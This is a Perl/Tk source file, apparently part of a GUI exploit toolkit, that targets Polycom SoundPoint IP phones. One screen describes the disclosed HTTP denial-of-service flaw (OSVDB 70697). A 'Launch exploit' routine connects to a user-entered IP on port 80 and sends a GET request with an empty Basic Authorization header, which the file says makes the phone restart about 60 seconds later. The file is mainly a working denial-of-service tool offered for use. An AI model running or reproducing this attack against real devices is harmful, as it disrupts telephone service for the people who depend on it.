# perl
# --------------------------------------------------------
# LICENCE
# This software is under GNU GENERAL PUBLIC LICENSE
# The detail could be found in the file LICENCE include
# in the same directory than isme.pl
# --------------------------------------------------------

use Tk; # http://search.cpan.org/~srezic/Tk/pod/UserGuide.pod
use Tk::Radiobutton;
use Tk::PNG;
use LWP::UserAgent;
use HTTP::Request;
use IO::Socket; 


# Variable
my $ScanType = "single";
my $IpAddress = "";
my $SubnetToScan = "";
my $Results = "";

my $subweb_mw = MainWindow->new(
						-title => 'Polycom SoundPoint IP Phones HTTP Denial of Service Vulnerability');

my $menu_bar = $subweb_mw->Frame(
				-relief => 'groove',
				-borderwidth => 3,
				-width => 40,
				)-> pack(
					-side=>'top',
					-fill => 'x'
					);
my $file_mb = $menu_bar->Menubutton(
				-text => 'File',
				)->pack(-side=>'left');
$file_mb->command(
			-label=>"Vulnerability details",
			-command => sub {&EXPLANATION}
			);		
$file_mb->command(
		-label=>'Launch exploit',
		-command => 
			sub 
			{&DOS}
		);
			
$file_mb->command(
	-label=>'Exit',
	-command => [$subweb_mw => 'destroy']
	);
		



#----------	
my $FrameMIDDLE3 = $subweb_mw -> Frame ();
$FrameMIDDLE3->Label(
	-text => 'IP Phone address (192.168.1.1):'
	)->pack(-side => 'left');
my $TextLabel_single = $FrameMIDDLE3 -> Entry(
	-textvariable => \$IpAddress,
	- width => 45,
	)->pack(-side => 'left');
$FrameMIDDLE3 -> pack (-side => 'top', -anchor => 'w');
#-------------
my $FrameMIDDLE4 = $subweb_mw -> Frame (-width => 40, -height => 20);

my $TextWidget = $FrameMIDDLE4  -> Text(); 
$TextWidget->configure(-height => 17);
my $scrollbar = $FrameMIDDLE4 ->Scrollbar(-command => ['yview', $TextWidget]);
$TextWidget->configure(-yscrollcommand => ['set', $scrollbar]);

$TextWidget->pack(-side => 'left', -fill => 'both', -expand => 1);
$scrollbar->pack(-side => 'right', -fill => 'y');
$FrameMIDDLE4 -> pack (-side => 'top', -anchor => 'w');
#-------------


#------------ LAUNCHING THE MAIN LOOP --------
&EXPLANATION;
MainLoop;
#------------ END OF THE GUI INTERFACE DEFINITION STUFF -------------------------------------


sub EXPLANATION
{
 
	$TextWidget -> delete('0.0', 'end');
	$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget -> insert ("end", "Vulnerability: Polycom SoundPoint IP Phones HTTP Denial of Service Vulnerability\n");
	$TextWidget -> insert ("end", "OSVDB-ID: 70697\n");
	$TextWidget -> insert ("end", "Date 31/01/2011\n");
	$TextWidget -> insert ("end", "Author: Pawel Gawinek\n");
	$TextWidget -> insert ("end", "Website Link: http://archives.neohapsis.com/archives/fulldisclosure/2011-01/0495.html\n");
	$TextWidget -> insert ("end", "Devices: SoundPoint IP models 320, 321, 330, 331, 335, 430, 450, 550, 560, 650,670, 5000, 6000, 7000\n");
	$TextWidget -> insert ("end", "Patch: Available from polycom\n\n");
	$TextWidget -> insert ("end", "Deny of service:\n");
	$TextWidget -> insert ("end", "Polycom SoundPoint IP devices (IP phones) are vulnerable to Denial of Service\n");
	$TextWidget -> insert ("end", " attacks. Sending HTTP GET request with broken Authorization header effect a \n");
	$TextWidget -> insert ("end", "device restart after ~60 seconds.\n");
	$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget  -> update ();	
	$TextWidget  -> see ('end'); 		
}

sub DOS
{
	$TextWidget -> delete('0.0', 'end');
	$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");			
    $TextWidget -> insert ("end","Launch exploit\n");
	$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");		
	$TextWidget  -> update ();	
	$TextWidget  -> see ('end');

	if (my $socket = IO::Socket::INET->new(Proto => "tcp",PeerAddr => $IpAddress,PeerPort => "80"))
 	{        
		print $socket "GET /reg_1.htm HTTP/1.1\r\nAuthorization: Basic \r\n\r\n"; 

		$TextWidget -> insert ("end", "Killing charge sent.\n");		
		$TextWidget -> insert ("end", "Wait 60s for effect.\n");		
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		sleep (20);
		$TextWidget -> insert ("end", "20 s\n");		
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		sleep (20);
		$TextWidget -> insert ("end", "40 s\n");		
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');	
		sleep (20);
		$TextWidget -> insert ("end", "60 s\n");		
		$TextWidget -> insert ("end", "Vulnerable device should have restart by now.\n");	
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');    
    }
    else
    {
		$TextWidget -> insert ("end", "Unable to connect. Job terminated\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");	
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');

    }	
}



